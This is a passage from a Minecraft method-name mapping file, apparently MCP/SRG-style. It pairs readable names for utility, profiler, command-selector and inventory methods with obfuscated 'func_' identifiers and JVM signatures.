net/minecraft/util/ThreadSafeBoundList/func_152757_a (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/util/ThreadSafeBoundList/func_152758_b ()I net/minecraft/util/ThreadSafeBoundList/func_152758_b ()I +MD: net/minecraft/util/ThreadSafeBoundList/func_152756_c ()[Ljava/lang/Object; net/minecraft/util/ThreadSafeBoundList/func_152756_c ()[Ljava/lang/Object; +MD: net/minecraft/util/LongHashMap$Entry/getKey ()J net/minecraft/util/LongHashMap$Entry/func_76146_a ()J +MD: net/minecraft/util/LongHashMap$Entry/getValue ()Ljava/lang/Object; net/minecraft/util/LongHashMap$Entry/func_76145_b ()Ljava/lang/Object; +MD: net/minecraft/util/LongHashMap$Entry/equals (Ljava/lang/Object;)Z net/minecraft/util/LongHashMap$Entry/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/LongHashMap$Entry/hashCode ()I net/minecraft/util/LongHashMap$Entry/hashCode ()I +MD: net/minecraft/util/LongHashMap$Entry/toString ()Ljava/lang/String; net/minecraft/util/LongHashMap$Entry/toString ()Ljava/lang/String; +MD: net/minecraft/util/LongHashMap/getNumHashElements ()I net/minecraft/util/LongHashMap/func_76162_a ()I +MD: net/minecraft/util/LongHashMap/hash (I)I net/minecraft/util/LongHashMap/func_76157_a (I)I +MD: net/minecraft/util/LongHashMap/getHashIndex (II)I net/minecraft/util/LongHashMap/func_76158_a (II)I +MD: net/minecraft/util/LongHashMap/createKey (IJLjava/lang/Object;I)V net/minecraft/util/LongHashMap/func_76156_a (IJLjava/lang/Object;I)V +MD: net/minecraft/util/LongHashMap/getValueByKey (J)Ljava/lang/Object; net/minecraft/util/LongHashMap/func_76164_a (J)Ljava/lang/Object; +MD: net/minecraft/util/LongHashMap/add (JLjava/lang/Object;)V net/minecraft/util/LongHashMap/func_76163_a (JLjava/lang/Object;)V +MD: net/minecraft/util/LongHashMap/copyHashTableTo ([Lnet/minecraft/util/LongHashMap$Entry;)V net/minecraft/util/LongHashMap/func_76154_a ([Lnet/minecraft/util/LongHashMap$Entry;)V +MD: net/minecraft/util/LongHashMap/resizeTable (I)V net/minecraft/util/LongHashMap/func_76153_b (I)V +MD: net/minecraft/util/LongHashMap/containsItem (J)Z net/minecraft/util/LongHashMap/func_76161_b (J)Z +MD: net/minecraft/util/LongHashMap/getEntry (J)Lnet/minecraft/util/LongHashMap$Entry; net/minecraft/util/LongHashMap/func_76160_c (J)Lnet/minecraft/util/LongHashMap$Entry; +MD: net/minecraft/util/LongHashMap/remove (J)Ljava/lang/Object; net/minecraft/util/LongHashMap/func_76159_d (J)Ljava/lang/Object; +MD: net/minecraft/util/LongHashMap/removeKey (J)Lnet/minecraft/util/LongHashMap$Entry; net/minecraft/util/LongHashMap/func_76152_e (J)Lnet/minecraft/util/LongHashMap$Entry; +MD: net/minecraft/util/LongHashMap/access$000 (J)I net/minecraft/util/LongHashMap/access$000 (J)I +MD: net/minecraft/util/LongHashMap/getHashedKey (J)I net/minecraft/util/LongHashMap/func_76155_g (J)I +MD: net/minecraft/util/EnumTypeAdapterFactory$1/read (Lcom/google/gson/stream/JsonReader;)Ljava/lang/Object; net/minecraft/util/EnumTypeAdapterFactory$1/read (Lcom/google/gson/stream/JsonReader;)Ljava/lang/Object; +MD: net/minecraft/util/EnumTypeAdapterFactory$1/write (Lcom/google/gson/stream/JsonWriter;Ljava/lang/Object;)V net/minecraft/util/EnumTypeAdapterFactory$1/write (Lcom/google/gson/stream/JsonWriter;Ljava/lang/Object;)V +MD: net/minecraft/util/EnumTypeAdapterFactory/func_151232_a (Ljava/lang/Object;)Ljava/lang/String; net/minecraft/util/EnumTypeAdapterFactory/func_151232_a (Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/util/EnumTypeAdapterFactory/access$000 (Lnet/minecraft/util/EnumTypeAdapterFactory;Ljava/lang/Object;)Ljava/lang/String; net/minecraft/util/EnumTypeAdapterFactory/access$000 (Lnet/minecraft/util/EnumTypeAdapterFactory;Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/util/EnumTypeAdapterFactory/create (Lcom/google/gson/Gson;Lcom/google/gson/reflect/TypeToken;)Lcom/google/gson/TypeAdapter; net/minecraft/util/EnumTypeAdapterFactory/create (Lcom/google/gson/Gson;Lcom/google/gson/reflect/TypeToken;)Lcom/google/gson/TypeAdapter; +MD: net/minecraft/util/MathHelper/sqrt_double (D)F net/minecraft/util/MathHelper/func_76133_a (D)F +MD: net/minecraft/util/MathHelper/abs_max (DD)D net/minecraft/util/MathHelper/func_76132_a (DD)D +MD: net/minecraft/util/MathHelper/clamp_double (DDD)D net/minecraft/util/MathHelper/func_151237_a (DDD)D +MD: net/minecraft/util/MathHelper/sin (F)F net/minecraft/util/MathHelper/func_76126_a (F)F +MD: net/minecraft/util/MathHelper/epsilonEquals (FF)Z net/minecraft/util/MathHelper/func_180185_a (FF)Z +MD: net/minecraft/util/MathHelper/clamp_float (FFF)F net/minecraft/util/MathHelper/func_76131_a (FFF)F +MD: net/minecraft/util/MathHelper/abs_int (I)I net/minecraft/util/MathHelper/func_76130_a (I)I +MD: net/minecraft/util/MathHelper/bucketInt (II)I net/minecraft/util/MathHelper/func_76137_a (II)I +MD: net/minecraft/util/MathHelper/clamp_int (III)I net/minecraft/util/MathHelper/func_76125_a (III)I +MD: net/minecraft/util/MathHelper/getPositionRandom (Lnet/minecraft/util/Vec3i;)J net/minecraft/util/MathHelper/func_180186_a (Lnet/minecraft/util/Vec3i;)J +MD: net/minecraft/util/MathHelper/parseDoubleWithDefault (Ljava/lang/String;D)D net/minecraft/util/MathHelper/func_82712_a (Ljava/lang/String;D)D +MD: net/minecraft/util/MathHelper/parseDoubleWithDefaultAndMax (Ljava/lang/String;DD)D net/minecraft/util/MathHelper/func_82713_a (Ljava/lang/String;DD)D +MD: net/minecraft/util/MathHelper/parseIntWithDefault (Ljava/lang/String;I)I net/minecraft/util/MathHelper/func_82715_a (Ljava/lang/String;I)I +MD: net/minecraft/util/MathHelper/parseIntWithDefaultAndMax (Ljava/lang/String;II)I net/minecraft/util/MathHelper/func_82714_a (Ljava/lang/String;II)I +MD: net/minecraft/util/MathHelper/getRandomUuid (Ljava/util/Random;)Ljava/util/UUID; net/minecraft/util/MathHelper/func_180182_a (Ljava/util/Random;)Ljava/util/UUID; +MD: net/minecraft/util/MathHelper/getRandomDoubleInRange (Ljava/util/Random;DD)D net/minecraft/util/MathHelper/func_82716_a (Ljava/util/Random;DD)D +MD: net/minecraft/util/MathHelper/randomFloatClamp (Ljava/util/Random;FF)F net/minecraft/util/MathHelper/func_151240_a (Ljava/util/Random;FF)F +MD: net/minecraft/util/MathHelper/getRandomIntegerInRange (Ljava/util/Random;II)I net/minecraft/util/MathHelper/func_76136_a (Ljava/util/Random;II)I +MD: net/minecraft/util/MathHelper/average ([J)D net/minecraft/util/MathHelper/func_76127_a ([J)D +MD: net/minecraft/util/MathHelper/truncateDoubleToInt (D)I net/minecraft/util/MathHelper/func_76140_b (D)I +MD: net/minecraft/util/MathHelper/atan2 (DD)D net/minecraft/util/MathHelper/func_181159_b (DD)D +MD: net/minecraft/util/MathHelper/denormalizeClamp (DDD)D net/minecraft/util/MathHelper/func_151238_b (DDD)D +MD: net/minecraft/util/MathHelper/cos (F)F net/minecraft/util/MathHelper/func_76134_b (F)F +MD: net/minecraft/util/MathHelper/func_180183_b (FFF)I net/minecraft/util/MathHelper/func_180183_b (FFF)I +MD: net/minecraft/util/MathHelper/roundUpToPowerOfTwo (I)I net/minecraft/util/MathHelper/func_151236_b (I)I +MD: net/minecraft/util/MathHelper/normalizeAngle (II)I net/minecraft/util/MathHelper/func_180184_b (II)I +MD: net/minecraft/util/MathHelper/func_180181_b (III)I net/minecraft/util/MathHelper/func_180181_b (III)I +MD: net/minecraft/util/MathHelper/floor_double (D)I net/minecraft/util/MathHelper/func_76128_c (D)I +MD: net/minecraft/util/MathHelper/func_181160_c (DDD)D net/minecraft/util/MathHelper/func_181160_c (DDD)D +MD: net/minecraft/util/MathHelper/sqrt_float (F)F net/minecraft/util/MathHelper/func_76129_c (F)F +MD: net/minecraft/util/MathHelper/hsvToRGB (FFF)I net/minecraft/util/MathHelper/func_181758_c (FFF)I +MD: net/minecraft/util/MathHelper/calculateLogBaseTwo (I)I net/minecraft/util/MathHelper/func_151239_c (I)I +MD: net/minecraft/util/MathHelper/roundUp (II)I net/minecraft/util/MathHelper/func_154354_b (II)I +MD: net/minecraft/util/MathHelper/getCoordinateRandom (III)J net/minecraft/util/MathHelper/func_180187_c (III)J +MD: net/minecraft/util/MathHelper/floor_double_long (D)J net/minecraft/util/MathHelper/func_76124_d (D)J +MD: net/minecraft/util/MathHelper/floor_float (F)I net/minecraft/util/MathHelper/func_76141_d (F)I +MD: net/minecraft/util/MathHelper/isPowerOfTwo (I)Z net/minecraft/util/MathHelper/func_151235_d (I)Z +MD: net/minecraft/util/MathHelper/func_180188_d (II)I net/minecraft/util/MathHelper/func_180188_d (II)I +MD: net/minecraft/util/MathHelper/func_154353_e (D)I net/minecraft/util/MathHelper/func_154353_e (D)I +MD: net/minecraft/util/MathHelper/abs (F)F net/minecraft/util/MathHelper/func_76135_e (F)F +MD: net/minecraft/util/MathHelper/calculateLogBaseTwoDeBruijn (I)I net/minecraft/util/MathHelper/func_151241_e (I)I +MD: net/minecraft/util/MathHelper/ceiling_double_int (D)I net/minecraft/util/MathHelper/func_76143_f (D)I +MD: net/minecraft/util/MathHelper/ceiling_float_int (F)I net/minecraft/util/MathHelper/func_76123_f (F)I +MD: net/minecraft/util/MathHelper/wrapAngleTo180_double (D)D net/minecraft/util/MathHelper/func_76138_g (D)D +MD: net/minecraft/util/MathHelper/wrapAngleTo180_float (F)F net/minecraft/util/MathHelper/func_76142_g (F)F +MD: net/minecraft/util/MathHelper/func_181162_h (D)D net/minecraft/util/MathHelper/func_181162_h (D)D +MD: net/minecraft/util/MathHelper/func_181161_i (D)D net/minecraft/util/MathHelper/func_181161_i (D)D +MD: net/minecraft/profiler/Profiler$Result/getColor ()I net/minecraft/profiler/Profiler$Result/func_76329_a ()I +MD: net/minecraft/profiler/Profiler$Result/compareTo (Lnet/minecraft/profiler/Profiler$Result;)I net/minecraft/profiler/Profiler$Result/compareTo (Lnet/minecraft/profiler/Profiler$Result;)I +MD: net/minecraft/profiler/Profiler$Result/compareTo (Ljava/lang/Object;)I net/minecraft/profiler/Profiler$Result/compareTo (Ljava/lang/Object;)I +MD: net/minecraft/profiler/Profiler/clearProfiling ()V net/minecraft/profiler/Profiler/func_76317_a ()V +MD: net/minecraft/profiler/Profiler/startSection (Ljava/lang/String;)V net/minecraft/profiler/Profiler/func_76320_a (Ljava/lang/String;)V +MD: net/minecraft/profiler/Profiler/endSection ()V net/minecraft/profiler/Profiler/func_76319_b ()V +MD: net/minecraft/profiler/Profiler/getProfilingData (Ljava/lang/String;)Ljava/util/List; net/minecraft/profiler/Profiler/func_76321_b (Ljava/lang/String;)Ljava/util/List; +MD: net/minecraft/profiler/Profiler/getNameOfLastSection ()Ljava/lang/String; net/minecraft/profiler/Profiler/func_76322_c ()Ljava/lang/String; +MD: net/minecraft/profiler/Profiler/endStartSection (Ljava/lang/String;)V net/minecraft/profiler/Profiler/func_76318_c (Ljava/lang/String;)V +MD: net/minecraft/util/IProgressUpdate/setDoneWorking ()V net/minecraft/util/IProgressUpdate/func_146586_a ()V +MD: net/minecraft/util/IProgressUpdate/setLoadingProgress (I)V net/minecraft/util/IProgressUpdate/func_73718_a (I)V +MD: net/minecraft/util/IProgressUpdate/displaySavingString (Ljava/lang/String;)V net/minecraft/util/IProgressUpdate/func_73720_a (Ljava/lang/String;)V +MD: net/minecraft/util/IProgressUpdate/resetProgressAndMessage (Ljava/lang/String;)V net/minecraft/util/IProgressUpdate/func_73721_b (Ljava/lang/String;)V +MD: net/minecraft/util/IProgressUpdate/displayLoadingString (Ljava/lang/String;)V net/minecraft/util/IProgressUpdate/func_73719_c (Ljava/lang/String;)V +MD: net/minecraft/util/MouseFilter/reset ()V net/minecraft/util/MouseFilter/func_180179_a ()V +MD: net/minecraft/util/MouseFilter/smooth (FF)F net/minecraft/util/MouseFilter/func_76333_a (FF)F +MD: net/minecraft/util/IStringSerializable/getName ()Ljava/lang/String; net/minecraft/util/IStringSerializable/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/util/StringUtils/ticksToElapsedTime (I)Ljava/lang/String; net/minecraft/util/StringUtils/func_76337_a (I)Ljava/lang/String; +MD: net/minecraft/util/StringUtils/stripControlCodes (Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/StringUtils/func_76338_a (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/util/StringUtils/isNullOrEmpty (Ljava/lang/String;)Z net/minecraft/util/StringUtils/func_151246_b (Ljava/lang/String;)Z +MD: net/minecraft/util/Tuple/getFirst ()Ljava/lang/Object; net/minecraft/util/Tuple/func_76341_a ()Ljava/lang/Object; +MD: net/minecraft/util/Tuple/getSecond ()Ljava/lang/Object; net/minecraft/util/Tuple/func_76340_b ()Ljava/lang/Object; +MD: net/minecraft/command/PlayerSelector$1/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/command/PlayerSelector$1/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/command/PlayerSelector$1/apply (Ljava/lang/Object;)Z net/minecraft/command/PlayerSelector$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/PlayerSelector$10/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/command/PlayerSelector$10/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/command/PlayerSelector$10/apply (Ljava/lang/Object;)Z net/minecraft/command/PlayerSelector$10/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/PlayerSelector$11/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/command/PlayerSelector$11/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/command/PlayerSelector$11/apply (Ljava/lang/Object;)Z net/minecraft/command/PlayerSelector$11/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/PlayerSelector$12/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/command/PlayerSelector$12/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/command/PlayerSelector$12/apply (Ljava/lang/Object;)Z net/minecraft/command/PlayerSelector$12/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/PlayerSelector$2/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/command/PlayerSelector$2/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/command/PlayerSelector$2/apply (Ljava/lang/Object;)Z net/minecraft/command/PlayerSelector$2/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/PlayerSelector$3/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/command/PlayerSelector$3/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/command/PlayerSelector$3/apply (Ljava/lang/Object;)Z net/minecraft/command/PlayerSelector$3/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/PlayerSelector$4/compare (Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;)I net/minecraft/command/PlayerSelector$4/compare (Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;)I +MD: net/minecraft/command/PlayerSelector$4/compare (Ljava/lang/Object;Ljava/lang/Object;)I net/minecraft/command/PlayerSelector$4/compare (Ljava/lang/Object;Ljava/lang/Object;)I +MD: net/minecraft/command/PlayerSelector$5/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/command/PlayerSelector$5/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/command/PlayerSelector$5/apply (Ljava/lang/Object;)Z net/minecraft/command/PlayerSelector$5/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/PlayerSelector$6/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/command/PlayerSelector$6/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/command/PlayerSelector$6/apply (Ljava/lang/Object;)Z net/minecraft/command/PlayerSelector$6/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/PlayerSelector$7/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/command/PlayerSelector$7/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/command/PlayerSelector$7/apply (Ljava/lang/Object;)Z net/minecraft/command/PlayerSelector$7/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/PlayerSelector$8/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/command/PlayerSelector$8/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/command/PlayerSelector$8/apply (Ljava/lang/Object;)Z net/minecraft/command/PlayerSelector$8/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/PlayerSelector$9/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/command/PlayerSelector$9/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/command/PlayerSelector$9/apply (Ljava/lang/Object;)Z net/minecraft/command/PlayerSelector$9/apply (Ljava/lang/Object;)Z +MD: net/minecraft/command/PlayerSelector/func_179650_a (I)I net/minecraft/command/PlayerSelector/func_179650_a (I)I +MD: net/minecraft/command/PlayerSelector/func_179661_a (Lnet/minecraft/util/BlockPos;III)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/command/PlayerSelector/func_179661_a (Lnet/minecraft/util/BlockPos;III)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/command/PlayerSelector/matchesMultiplePlayers (Ljava/lang/String;)Z net/minecraft/command/PlayerSelector/func_82377_a (Ljava/lang/String;)Z +MD: net/minecraft/command/PlayerSelector/func_179658_a (Ljava/util/List;Ljava/util/Map;Lnet/minecraft/command/ICommandSender;Ljava/lang/Class;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_179658_a (Ljava/util/List;Ljava/util/Map;Lnet/minecraft/command/ICommandSender;Ljava/lang/Class;Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/func_96560_a (Ljava/util/Map;)Ljava/util/Map; net/minecraft/command/PlayerSelector/func_96560_a (Ljava/util/Map;)Ljava/util/Map; +MD: net/minecraft/command/PlayerSelector/func_180698_a (Ljava/util/Map;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_180698_a (Ljava/util/Map;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/filterResults (Ljava/util/Map;Ljava/lang/Class;Ljava/util/List;Ljava/lang/String;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_179660_a (Ljava/util/Map;Ljava/lang/Class;Ljava/util/List;Ljava/lang/String;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/func_179663_a (Ljava/util/Map;Ljava/lang/String;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_179663_a (Ljava/util/Map;Ljava/lang/String;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/parseIntWithDefault (Ljava/util/Map;Ljava/lang/String;I)I net/minecraft/command/PlayerSelector/func_179653_a (Ljava/util/Map;Ljava/lang/String;I)I +MD: net/minecraft/command/PlayerSelector/matchOnePlayer (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/entity/player/EntityPlayerMP; net/minecraft/command/PlayerSelector/func_82386_a (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/entity/player/EntityPlayerMP; +MD: net/minecraft/command/PlayerSelector/matchOneEntity (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Ljava/lang/Class;)Lnet/minecraft/entity/Entity; net/minecraft/command/PlayerSelector/func_179652_a (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Ljava/lang/Class;)Lnet/minecraft/entity/Entity; +MD: net/minecraft/command/PlayerSelector/getWorlds (Lnet/minecraft/command/ICommandSender;Ljava/util/Map;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_179654_a (Lnet/minecraft/command/ICommandSender;Ljava/util/Map;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/hasArguments (Ljava/lang/String;)Z net/minecraft/command/PlayerSelector/func_82378_b (Ljava/lang/String;)Z +MD: net/minecraft/command/PlayerSelector/getXpLevelPredicates (Ljava/util/Map;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_179648_b (Ljava/util/Map;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/func_179664_b (Ljava/util/Map;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/command/PlayerSelector/func_179664_b (Ljava/util/Map;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/command/PlayerSelector/func_179651_b (Ljava/util/Map;Ljava/lang/String;)Ljava/lang/String; net/minecraft/command/PlayerSelector/func_179651_b (Ljava/util/Map;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/command/PlayerSelector/matchEntitiesToChatComponent (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/util/IChatComponent; net/minecraft/command/PlayerSelector/func_150869_b (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/command/PlayerSelector/matchEntities (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Ljava/lang/Class;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_179656_b (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Ljava/lang/Class;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/isEntityTypeValid (Lnet/minecraft/command/ICommandSender;Ljava/util/Map;)Z net/minecraft/command/PlayerSelector/func_179655_b (Lnet/minecraft/command/ICommandSender;Ljava/util/Map;)Z +MD: net/minecraft/command/PlayerSelector/getArgumentMap (Ljava/lang/String;)Ljava/util/Map; net/minecraft/command/PlayerSelector/func_82381_h (Ljava/lang/String;)Ljava/util/Map; +MD: net/minecraft/command/PlayerSelector/getGamemodePredicates (Ljava/util/Map;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_179649_c (Ljava/util/Map;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/getTeamPredicates (Ljava/util/Map;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_179659_d (Ljava/util/Map;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/getScorePredicates (Ljava/util/Map;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_179657_e (Ljava/util/Map;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/getNamePredicates (Ljava/util/Map;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_179647_f (Ljava/util/Map;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/getRotationsPredicates (Ljava/util/Map;)Ljava/util/List; net/minecraft/command/PlayerSelector/func_179662_g (Ljava/util/Map;)Ljava/util/List; +MD: net/minecraft/command/PlayerSelector/func_179665_h (Ljava/util/Map;)Z net/minecraft/command/PlayerSelector/func_179665_h (Ljava/util/Map;)Z +MD: net/minecraft/util/WeightedRandom/getTotalWeight (Ljava/util/Collection;)I net/minecraft/util/WeightedRandom/func_76272_a (Ljava/util/Collection;)I +MD: net/minecraft/util/WeightedRandom/getRandomItem (Ljava/util/Collection;I)Lnet/minecraft/util/WeightedRandom$Item; net/minecraft/util/WeightedRandom/func_180166_a (Ljava/util/Collection;I)Lnet/minecraft/util/WeightedRandom$Item; +MD: net/minecraft/util/WeightedRandom/getRandomItem (Ljava/util/Random;Ljava/util/Collection;)Lnet/minecraft/util/WeightedRandom$Item; net/minecraft/util/WeightedRandom/func_76271_a (Ljava/util/Random;Ljava/util/Collection;)Lnet/minecraft/util/WeightedRandom$Item; +MD: net/minecraft/util/WeightedRandom/getRandomItem (Ljava/util/Random;Ljava/util/Collection;I)Lnet/minecraft/util/WeightedRandom$Item; net/minecraft/util/WeightedRandom/func_76273_a (Ljava/util/Random;Ljava/util/Collection;I)Lnet/minecraft/util/WeightedRandom$Item; +MD: net/minecraft/util/WeightedRandomChestContent/func_177629_a (Ljava/util/List;[Lnet/minecraft/util/WeightedRandomChestContent;)Ljava/util/List; net/minecraft/util/WeightedRandomChestContent/func_177629_a (Ljava/util/List;[Lnet/minecraft/util/WeightedRandomChestContent;)Ljava/util/List; +MD: net/minecraft/util/WeightedRandomChestContent/generateDispenserContents (Ljava/util/Random;Ljava/util/List;Lnet/minecraft/tileentity/TileEntityDispenser;I)V net/minecraft/util/WeightedRandomChestContent/func_177631_a (Ljava/util/Random;Ljava/util/List;Lnet/minecraft/tileentity/TileEntityDispenser;I)V +MD: net/minecraft/util/WeightedRandomChestContent/generateChestContents (Ljava/util/Random;Ljava/util/List;Lnet/minecraft/inventory/IInventory;I)V net/minecraft/util/WeightedRandomChestContent/func_177630_a (Ljava/util/Random;Ljava/util/List;Lnet/minecraft/inventory/IInventory;I)V +MD: net/minecraft/util/IThreadListener/addScheduledTask (Ljava/lang/Runnable;)Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/util/IThreadListener/func_152344_a (Ljava/lang/Runnable;)Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/util/IThreadListener/isCallingFromMinecraftThread ()Z net/minecraft/util/IThreadListener/func_152345_ab ()Z +MD: net/minecraft/inventory/InventoryLargeChest/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryLargeChest/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryLargeChest/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryLargeChest/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryLargeChest/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/inventory/InventoryLargeChest/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/InventoryLargeChest/isPartOfLargeChest (Lnet/minecraft/inventory/IInventory;)Z net/minecraft/inventory/InventoryLargeChest/func_90010_a (Lnet/minecraft/inventory/IInventory;)Z +MD: net/minecraft/inventory/InventoryLargeChest/setLockCode (Lnet/minecraft/world/LockCode;)V net/minecraft/inventory/InventoryLargeChest/func_174892_a (Lnet/minecraft/world/LockCode;)V +MD: net/minecraft/inventory/InventoryLargeChest/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/inventory/InventoryLargeChest/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/inventory/InventoryLargeChest/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/InventoryLargeChest/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/InventoryLargeChest/getField (I)I net/minecraft/inventory/InventoryLargeChest/func_174887_a_ (I)I +MD: net/minecraft/inventory/InventoryLargeChest/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryLargeChest/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryLargeChest/setField (II)V net/minecraft/inventory/InventoryLargeChest/func_174885_b (II)V +MD: net/minecraft/inventory/InventoryLargeChest/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/InventoryLargeChest/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/InventoryLargeChest/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryLargeChest/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryLargeChest/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryLargeChest/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryLargeChest/getName ()Ljava/lang/String; net/minecraft/inventory/InventoryLargeChest/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/inventory/InventoryLargeChest/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/inventory/InventoryLargeChest/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/inventory/InventoryLargeChest/getFieldCount ()I net/minecraft/inventory/InventoryLargeChest/func_174890_g ()I +MD: net/minecraft/inventory/InventoryLargeChest/getLockCode ()Lnet/minecraft/world/LockCode; net/minecraft/inventory/InventoryLargeChest/func_174891_i ()Lnet/minecraft/world/LockCode; +MD: net/minecraft/inventory/InventoryLargeChest/getGuiID ()Ljava/lang/String; net/minecraft/inventory/InventoryLargeChest/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/inventory/InventoryLargeChest/clear ()V net/minecraft/inventory/InventoryLargeChest/func_174888_l ()V +MD: net/minecraft/inventory/InventoryLargeChest/hasCustomName ()Z net/minecraft/inventory/InventoryLargeChest/func_145818_k_ ()Z +MD: net/minecraft/inventory/InventoryLargeChest/getSizeInventory ()I net/minecraft/inventory/InventoryLargeChest/func_70302_i_ ()I +MD: net/minecraft/inventory/InventoryLargeChest/markDirty ()V net/minecraft/inventory/InventoryLargeChest/func_70296_d ()V +MD: net/minecraft/inventory/InventoryLargeChest/getInventoryStackLimit ()I net/minecraft/inventory/InventoryLargeChest/func_70297_j_ ()I +MD: 